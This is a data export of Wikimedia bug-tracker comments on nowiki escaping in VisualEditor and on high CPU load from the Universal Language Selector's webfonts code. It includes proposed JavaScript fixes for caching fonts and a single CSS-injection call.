+and the like.  Am I missing something that makes this problematic?",,,1373343101,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+238195,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Maybe we could still use a single wrapper but exclude unsuspicious leading / trailing text from the nowiki block. I agree with Subbu that escaping each run of dangerous characters individually would often result in too much nowiki noise.
+
+Re language conversion:
+How often is nowiki used to suppress language conversion? Could -{ }- or some other syntax be used instead?",,,1373340138,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+238191,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","It should be noted, that at present VE aggressively grabs normal text on either side of the offending elements as well.  For example, using VE to enter:
+
+- I am the very model of a modern [[Major-General]], I've information vegetable, animal, and mineral, I know the kings of England, and I quote the fights historical
+
+Becomes
+
+- <nowiki>I am the very model of a modern [[Major-General]], I've information vegetable, animal, and mineral, I know the kings of England, and I quote the fights historical</nowiki>
+
+Even though the plain text at either end of the wikilink could reasonably be ignored without increasing the number of nowikis.  Since VE can not currently handle nowiki elements, that also means that the entire sentence becomes uneditable in VE after saving.",,,1373064929,,PHID-USER-fuj45iylbizjg3yhehjt,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,0,,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+238187,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Actually, another way is to use the existing algorithm to detect contexts that would have been wrapped in <nowiki>..</nowiki> and apply nowiki-escaping to all possible wikitext chars in there (which is safe, but excessive).  This will not complicate the algorithm anymore, but will also introduce more nowiki tags than strictly necessary.",,,1373064668,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1
+238182,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","I forgot whether I pointed this out or not: applying <nowiki> on ""normal"" text disabled language conversion on it too; we may want to <nowiki> wikitext meta characters only.",,,1373064371,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1
+238177,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Let us discuss more on irc monday, but the general problem of escaping minimal contexts can complicate the algorithm.  That said, we could implement some special cases maybe. 
+
+Also, a lot of nowiki-tags (as in this example) looks ugly to me (personally), and could potentially induce greater grumbling among editors.  So, my suggestion is to minimize incidences of nowiki contexts via VE (however you do it) first, and then implement a version of this proposal in Parsoid after that.
+
+Yet another (not fully thought out) alternative is to convert wikitext chars into HTML entities which eliminates nowikis altogether.  We currently use this entity-based solution when we have to escape pipes in url/ext. links in template arg contexts and can just use that more broadly.",,,1373064090,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,0,,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+52836,Loading a page which requires many fonts causes high CPU load,"see report here:
+[[en:Wikipedia:Village_pump_(technical)#Heavy_Javascript_load_after_loading_some_articles.]] (bottom of [[en:WP:VPT]] on July 5 2013. if you don't find it there, look in the archives).
+
+Initial debugging of the issue points to the function injectCSS().
+as it turns out, ULS calls injectCSS() once for each required font, which, on some pages (methinks pages with many interwiki links, mainly) can be dozens of times.
+
+apparently, on some browsers injectCSS() can be expensive (maybe the browser re-renders the whole page, in light of the new stylesheet information?) and calling it dozens of times causes high CPU load.
+
+clearly, the right thing to do here is to collect all the different CSS bits and pieces you want to inject, and call injectCSS() exactly once.
+
+this piece of code demonstrate what some people already know: injecting stuff can be habit forming, and can be bad for your health, so you absolutely want to minimize it.
+
+
+(btw: the function itself is somewhat disgusting. how is it better than
+
+function injectCSS( css ) {
+	$( '<style>' , {type: 'text/css', rel: 'stylesheet' } )
+	.text( css )
+	.appendTo ('head' );
+}
+
+// really no need to return anything: the single callsite ignores 
+// the return value anyway. anywho, you can prepend ""return"" 
+// to make it behave more like existing code if you really want to...
+
+
+peace.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=563037747#Heavy_Javascript_load_after_loading_some_articles.
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49935
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51073",High,80.0,1373056800,1379659587.0,PHID-USER-akv4ingxkspiiam6r2n4,False,,False,PHID-TASK-j7v3ex7edi7dypukus5m,task_description,resolved,True,c1,3,False,False,True,0,,1,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1
+238010,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #21)
+> It's resolved technically, 
+
+Closing this one then,
+
+> but we want to write proper documentation and
+> tests
+> for the fix. Assigning to myself.
+
+and split this to bug 54364, to clarify status.",,,1379659587,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1
+238005,Loading a page which requires many fonts causes high CPU load,"What's the progress on this, Amir?",,,1375774753,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+237998,Loading a page which requires many fonts causes high CPU load,"It's resolved technically, but we want to write proper documentation and tests for the fix. Assigning to myself.",,,1374249445,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+237992,Loading a page which requires many fonts causes high CPU load,"Why is this still open?
+as far as i can see, the patch solved the issue. is there any report about any more problems here? 
+is anyone expected to do anything more regarding this issue? 
+if it's not closed now, is there any chance of this getting closed ever?
+
+peace.",,,1374249308,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,1,0,0
+237987,Loading a page which requires many fonts causes high CPU load,"What about using .eachAsync (https://git.wikimedia.org/blob/mediawiki%2Fcore.git/HEAD/resources%2Fjquery%2Fjquery.async.js) instead of the .each loop over $( '*[lang], [style], [class]' ) ? Perhaps this is not the solution for this bug, but for bug 49935, but I'm not going to read through all those comments, and I think the .eachAsync is worth a try.",,,1373615617,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+237980,Loading a page which requires many fonts causes high CPU load,*** Bug 51070 has been marked as a duplicate of this bug. ***,,,1373495384,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+237974,Loading a page which requires many fonts causes high CPU load,"The above patch makes the webfonts code about 4x faster in my testing. While it is an improvement, it does not completely remove the problem. To go further we need to reconsider the logic instead of just optimizing the current code.
+
+This patch is already on beta labs, can be tested for example in http://en.wikipedia.beta.wmflabs.org/wiki/Barack_Obama and is planned for deployment around 1800 UTC today.",,,1373472779,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+237969,Loading a page which requires many fonts causes high CPU load,"Change 72967 merged by jenkins-bot:
+Update jquery.webfonts from upstream
+
+https://gerrit.wikimedia.org/r/72967",,,1373471100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237963,Loading a page which requires many fonts causes high CPU load,"Change 72967 had a related patch set uploaded by Amire80:
+Update jquery.webfonts from upstream
+
+https://gerrit.wikimedia.org/r/72967",,,1373470044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237956,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #9)
+> SpeedyGonsales: This bug report is specifically and only about ""Loading a
+> page
+> which requires many fonts causes high CPU load"". If you want to generally
+> talk
+> about ""preferences for new things"" or what MediaWiki should be, please do
+> that
+> on some forum or Village Pump. Thanks for your understanding.
+
+it is unfortunate that ""some forum or village pump"" where the people responsible for the content of wikimedia deployment are actually listening, does not exist.
+
+there is another bug on bugzilla ( bug 46306 ), requesting/demanding a kill switch for ULS. this bug was closed with ""resolved/wontfix"".
+
+yet another open bug ( bug 51070 ) is requesting/demanding to disable ULS on enwiki. this one was not closed with ""wontfix"", but could have been just as well.
+
+so complaining about these demands/requests spilling into other bug reports is somewhat unfair, IMO.
+
+peace.",,,1373462060,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+237947,Loading a page which requires many fonts causes high CPU load,"Just a note that the Language Engineering team responsible for ULS will be holding an office hour later today, at 17:00 UTC on
+#wikimedia-office (on Freenode): http://www.mail-archive.com/wikitech-l@lists.wikimedia.org/msg69718.html",,,1373455470,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+237939,Loading a page which requires many fonts causes high CPU load,Also reported at pl.wp: https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#Ostrze.C5.BCenie:_Skrypt_nie_odpowiada,,,1373454616,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237933,Loading a page which requires many fonts causes high CPU load,"Eduard: I can understand frustration, but no need for rhetorical questions, plus ""I wasn't heard in the right place, so I tried again in some other, wrong place"" is not a good argument.
+Tools (like bugtrackers, mailing lists, Gerrit) serve purposes and have dedicated audiences. Bugzilla is a technical bugtracker for bug reports that refer to specific codebases. It's not for meta-level discussions on development policies, plus from experience in other open source projects I can assure you that the more comments unrelated to a bug there are in bug reports, the more devs will (understandably) also start ignoring bugmail and bug reports. I assume that's not wanted by anybody, and that's why I explained how to avoid that.",,,1373452499,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+237927,Loading a page which requires many fonts causes high CPU load,"Since one is ignored ""on some forum or Village Pump"" (*) one tries other ways to voice one's opinion. Is it surprising that people then try it on Bugzilla where one has at least slight chances a dev will peek at one's message an comment on them?
+
+* e.g. http://www.mediawiki.org/wiki/Thread:Talk:Universal_Language_Selector/Disabling_ULS or http://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#.22Opt_out.22_of_VE_needed_under_preferences",,,1373448080,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,1,0
+237921,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #8)
+
+SpeedyGonsales: This bug report is specifically and only about ""Loading a page which requires many fonts causes high CPU load"". If you want to generally talk about ""preferences for new things"" or what MediaWiki should be, please do that on some forum or Village Pump. Thanks for your understanding.",,,1373447177,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+237915,Loading a page which requires many fonts causes high CPU load,"If you ask me having ""disable switch"" (""kill switch"") in user preferences is a
+must for almost any new things in MediaWiki UI.
+
+If we are unable to alter closed OS (e.g. Windows or Mac) but are able to alter 
+open source one (Linux), MediaWiki should be smart and offer ""disable switches"" 
+for new things. ULS is a good idea, but the same way I like to have ""kill 
+switch"" for VisualEditor :) (""Remove VisualEditor from the user interface"" in Gadgets), I agree there should be one for ULS, period.",,,1373439569,,PHID-USER-3hahyxmftu2sew3v6v6w,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+237910,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #5)
+> ULS contains quite a lot of new JavaScript and CSS code, so it is reasonable
+> to
+> expect that a close scrutiny of the code will reveal some measure of
+> duplicate
+> work and various other performance problems. It's good that you've dug into
+> the
+> code and pinpointed some specific problems, but please be less adversarial.
+> Measuring and optimizing client-side performance is hard enough to do when
+> you
+> aren't under attack; calling a developer's code ""asinine"" or ""disgusting"" is
+> not likely to make it any easier.
+
+you are correct that my style is/was a bit abrasive, and for this i apologize. however, the ULS team demonstrated pretty bad behavior of its own: please review the way Siebard responded on bug 49935 .
+in addition, turning it on on many wikis before cleaning the very serious performance issues (and causing browsers to freeze _is_ very serious issue), and then arguing that this thing should not have a disable switch in user preference is just wrong.
+
+peace.",,,1373437720,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+237904,Loading a page which requires many fonts causes high CPU load,"i think you missed the main point: when we call ""load"" with a font family such that this.getCSS() returns false (e.g. ""sans-serif"" on my browser), we do not cache the result. calling getCSS() is orders of magnitude more expensive than the search, regardless of whether the search is done the right way (through hash) or the wrong way (through $.inArray).
+
+as to profiling: the real test is to have ~20 entries in the font table (like in [[en:Japan]]), and then measure how long does it take to look for a font _which is not in the list_, which is what happens today, thanks to the problem mentioned above. you'll see that the search takes significantly longer than it should.
+
+still, the main problem is not the inefficient search, but rather calling getCSS thousands (or tens of thousands - depends on the page content) of times instead of once per each font family present on the page.
+
+as to why we call ""load"" so many times: easy. set a breakpoint, and follow the call stack upward until you'll find the call that's inside an .each() loop.
+
+
+peace.",,,1373437177,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+237899,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #1)
+> clearly, the right thing to do here is to collect all the different CSS bits
+> and pieces you want to inject, and call injectCSS() exactly once.
+
+I've only noted a single repaint in Chrome Dev Tools on https://en.wikipedia.org/wiki/Tower_of_babel, and I'm not sure yet if it's attributable to ULS. But any form of DOM access is expensive, so the recommendation above is entirely sound.
+
+> the function ""load"" is also asinine, and can cause a high load:
+> 
+> it has two problems: one of them is using $.inArray() to test whether this
+> fontface was already loaded: this means linear search on the array every
+> single time
+
+Hash tables lookups are worse than linear searches for arrays of this size due to the cost of computing the hash and the relatively poorer locality. (In fact, modern JS engines don't even implement property lookups as hash tables, but I figure that was what you had in mind when you recommended hasOwnProperty instead of $.inArray).
+
+https://en.wikipedia.org/wiki/Tower_of_babel has four fontFamilies: ""Amiri"", ""Akkadian"", ""AbyssinicaSIL"", and ""CharisSIL"". I used this to profile object vs. array lookup:
+
+> var myArray = [""Amiri"", ""Akkadian"", ""AbyssinicaSIL"", ""CharisSIL""];
+> console.time('$.inArray'); for(var i = 0; i < 10000; i++) $.inArray('abc', myArray); console.timeEnd('$.inArray');
+$.inArray: 18.029ms
+> var myObj = {""Amiri"": null, ""Akkadian"": null, ""AbyssinicaSIL"": null, ""CharisSIL"": null};
+> console.time('hasOwnProperty'); for(var i = 0; i < 10000; i++) myObj.hasOwnProperty('abc'); console.timeEnd('hasOwnProperty');
+hasOwnProperty: 13.161ms
+
+The difference per call works out to just under half of one millionth of a second, certainly not enough to warrant calling either approach 'asinine'. I am running a recent build of Chromium, but I'd wager the difference even for older browsers would not cross the threshold of significance.
+
+It is a bit bizarre that load() has to be called 877 times on that page, though. That should be investigated.
+
+ULS contains quite a lot of new JavaScript and CSS code, so it is reasonable to expect that a close scrutiny of the code will reveal some measure of duplicate work and various other performance problems. It's good that you've dug into the code and pinpointed some specific problems, but please be less adversarial. Measuring and optimizing client-side performance is hard enough to do when you aren't under attack; calling a developer's code ""asinine"" or ""disgusting"" is not likely to make it any easier.",,,1373414464,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+237892,Loading a page which requires many fonts causes high CPU load,"I've requested ULS be disabled, this has taken too long, it's annoying ppl without reason.
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51070",,,1373404117,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+237886,Loading a page which requires many fonts causes high CPU load,"Why was this set back to UNCONFIRMED?  Lots of people have experienced this, and kipod has even identified the fix.",,,1373267032,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+237879,Loading a page which requires many fonts causes high CPU load,"P.S: i used ""abnormal"" to signify that getCSS() returnd false, when called with this font family and variant ""normal"". i do not think this is a good name - maybe ""empty"" of ""builtin"" or something similar will be better, as long as one can be confident it's not a valid fontFamily name. it has to eveluate as boolean true, though, so you can;t use false or empty string.
+
+alternatively, false can work, as long as you modify the first line to
+
+if ( this.fonts.hasOwnProperty( fontFamily ) )
+
+so the thing becomes
+
+load: function( fontFamily ) {
+    if ( this.fonts.hasOwnProperty( fontFamily ) )
+        return this.fonts[fontFamily];
+    var styleString = this.getCSS( fontFamily, 'normal' );
+    if ( styleString ) {
+        injectCSS( styleString );
+        return this.fonts[fontFamily] = true;
+    }
+    return this.fonts[fontFamily] = false;
+}
+
+(for brevity, assign and return on one line - don't do it in real life).
+
+peace.",,,1373059269,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,0,,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+237871,Loading a page which requires many fonts causes high CPU load,"the function ""load"" is also asinine, and can cause a high load:
+
+it has two problems: one of them is using $.inArray() to test whether this fontface was already loaded: this means linear search on the array every single time (that is, for every single html element with either ""lang"", ""style"" or ""class"" attributes on the page!), and for pages with large number of elements, this can be significant. whats more, there is no reason not to add the font family to the list even when it's not found, to save us some work with future elements with same font family.
+
+even worse, when getCSS() returns ""false"" (which it does for 99% of the elemnts, e.g. when fontFamily is sans-serif), we don't mark this font family as ""tested"", so when we find the next element with sans-serif, we do all this work again.
+
+from performance POV, this is atrocious.
+
+
+here is a better version of load() - 100% untested.
+
+load: function( fontFamily ) {
+	if ( this.fonts[fontFamily] ) 
+		return this.fonts[fontFamily] != ""abnormal""; 
+// does the font have ""normal"" face?
+
+	var styleString = this.getCSS( fontFamily, 'normal' );
+	if ( styleString ) {
+		injectCSS( styleString );
+		this.fonts[fontFamily] = true;
+		return true;
+	}
+	// Font does not have ""normal"" face.
+	this.fonts[fontFamily] = ""abnormal"";
+	return false;
+}
+
+
